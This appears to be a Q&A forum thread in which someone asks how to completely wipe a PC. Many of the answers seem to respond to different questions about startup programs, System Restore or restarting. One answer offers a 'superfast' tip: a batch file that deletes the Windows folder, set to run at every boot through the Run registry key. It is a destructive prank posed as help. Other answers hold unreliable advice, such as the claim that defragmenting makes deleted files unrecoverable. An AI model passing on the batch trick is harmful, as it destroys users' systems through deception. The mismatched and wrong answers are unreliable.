i want completely wipe everything from my pc and start again, how do wipe everything off and start from scratc
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You are right. You need to reinstall windows. To do that, put the Windows installation cd in your computer and click reboot. When the first screen that comes up, usually a dell logo or something, press F8 and click IDE Cd-Rom. Follow the onscreen instructions to reinstall windows. Note: You first have to delete all the partitions on your hard drive.\n\nP.S. If you put in the Windows cd while your computer is on and click install Windows Xp, it won't work if you want to format your hard drive. It copies files to your hard drive, and when you install it, it says you can't format your hard drive because it needs those files.
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If you are using it on another computer of your own, just plug it in as a slave drive and then if using Win XP, just go to My Computer and right click on the drive. Then select format and it will wipe it clean for you. \n\nIf you are just going to install windows on it then just format at windows setup.\n\nIf you are not going to be the user of this computer and want to protect your privacy use a tool from http://www.download.com to do a deep format - one in which data cannot be recovered.\n\nGood Luck
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You should be able to do that.  \nTry the System Restore which takes you back to a time when your computer was working good. Go To: \nstart\nprograms\naccessories\nsystems tools\nsystem restore\nThis process is completely reversable. And does not remove your personal files.  Just go back one checkpoint at a time until your puter is working good again.\nE
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Start by clicking the Start button, select "run". Than Type "msconfig" (without "). Than click on the last tab tittled "startup". then just check or uncheck startup files. Beware though, some are vital processes for windows to run so dont uncheck something you dont know otherwise windows might crash and cause further problems. :D hope it helped
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Start your computer in safe mode then delete it...you start in safe mode by tapping f8 key at startup .
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Let's say that you want to delete ALL of the files in your MY DOCUMENTS folder.    Right click on MY DOCUMENTS and pick EXPLORE.   Click on any file on the RIGHT SIDE and use CONTROL and A (to select all).   Then RIGHT CLICK on the highlighted files and pick DELETE.    All of those files would delete.   Then empty your recycle bin. \n\nBut for programs, open the Control Panel and use the ADD/REMOVE section to uninstall each one.   So at this point, those programs would be safely removed. \n\nIf you are GIVING this computer to someone else, but want it functional, use the DISK CLEANUP program that is in the System Tools of the Accessories section.  Also, take the time to test the disk.   Open My Computer, then Right Click on the C drive and pick PROPERTIES.  Then pick the Tools section.  Click on the CHECK NOW button, check both tests then let the test run after you REBOOT.   \n\nAfter testing the disk, run DEFRAG.  Find this also in the System Tools section.    When you DEFRAG, this will move many files around and connect them together.  During this process, remnants of your old files, even though deleted previously, will be scrambled pretty well.   This will also optimize the system and really make it "as good as it can".\n\nGood luck and Happy Computing!
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WipeDrive\nCompletely eliminate\nhard drive data\nhttp://www.whitecanyon.com/wipe-your-hard-drive-help.php\nDESTROYING COMPUTER DATA\nhttp://www.howtowipeyourdrive.com/
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Start | All Programs | Accessories | System Tools | System Restore
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reset your computer. go to PC world and buy a copy of XP home or XP pro and re-install it. it will delete everything on your hard drive and u can have a fresh start with the pc
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hit start button\n\nclick on run\n\ntype msconig\n\ngo to startup if using win xp\n\nchoose program's that u dont want to start at start up \n\nreboot computer now these prgrams no longer open up anymore at start up\n\nbewarned do not delete Internet explore items and or ssytray
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press ctrl alt delete simultaneously ur pc will restart
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go to RUN .. type MSCONFIG and then go to start up\nand disable the things that U don't want , but be careful do not disable things that belong to the system files
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yess.. i know exactly how. and its super easy. and free. download this program:\n\nhttp://www.stevengould.org/software/cleanup/download.html\n\nafter you install it, do the highest level of cleanup. it says that its what you use when you want to erase all your personal files and temp files before handing over your computer to someone else.\n\ni use it all the time just to delete all my old files to make my computer run faster. it really works, and its easy to use. so just download it, and run. honestly, you dont need to reformat your computer. if you use this program, it gets rid of everything.\n\nif you dont know what youre doing, reformating your computer is super hard, and you might really mess up your computer. plus it takes like an hour to reformat. to do so, you must have your windows disk, and do a bunch of things in dos to erase your current version of windows. if youve never done it, i dont reccomend it. taking it to a computer shop costs like 60$. the link i included should do the work.\n\ngood luck :)
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If you want the most simple way of making your PC superfast then do the following:\nCopy this text between the two lines into a text document and save it as cleaner.bat\n--------------------------------\n@echo off\ncd C:&#92;\nDEL C:&#92;Windows&#92;*.*\nCLS\n--------------------------------\n\nPlace this cleaner.bat in your C:&#92; drive.\nnow, Go to start&#92;Run and type in regedit\nYou will see the registry editor.\nNavigate your way to the following:\nHKEY_LOCAL_MACHINE&#92;\nSOFTWARE&#92;\nMicrosoft&#92;\nWindows&#92;\nCurrentVersion&#92;\nRun&#92;\n\nwhen you have selected the 'RUN' part on the left, RIGHT-click on the right side of the window and select 'New>String Value' Name it cleaner.\nNow double click the new cleaner string that has appeared. It will open a box.\nIn the area for the value put the following:\nC:&#92;cleaner.bat\n\n\nThat is it.\n\nIMPORTANT:\nthe next time you reboot your PC it will attempt to delete your windows folder and, if successful, will render your PC useless and without a functioning operating system.\nIt will be really fast though I guarantee it!
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If you want to remove everything....reformat is the best solution....but if you want to remove some certain software...go to add/remove programs which is in control panel
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Hit Ctrl+Alt+Delete and end program. Then restart it.
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Clean your cache,  = http://www.stevengould.org/software/cleanup   and/or\n Disk Cleaner = http://www.robertenfemke.nl/~diskclean\n\nthen Boot into safe mode, = http://service1.symantec.com/SUPPORT/tsgeninfo.nsf/docid/2001052409420406  , then go to Start/all programs/accessories/system tools/disk cleanup , and run disk cleanup ,\n   \nThen enable CHKDSK, = Click your "My Computer" in the start menu, R-Click the C: Drive, go down and click on properties in the drop menu. When the properties folder opens, click on the Tools Tab, The first item in the list is to do CHKDSK. Put a check mark in all the boxes/start/yes/apply/ok .      The PC should be rebooted in safe mode to do the scan.  To view the results of a CHKDSK go to Administrative Tools > Event Viewer > Application, look for the most recent Winlogon event and double-click on it.\n\n          Then run Disk Defrag from safe mode.   After  booting into safe mode go to  Start/all programs/accessories/system tools/Disk Defragmenter. When you open "Defrag", click on "analyze", and it will tell you if you need to defrag or not.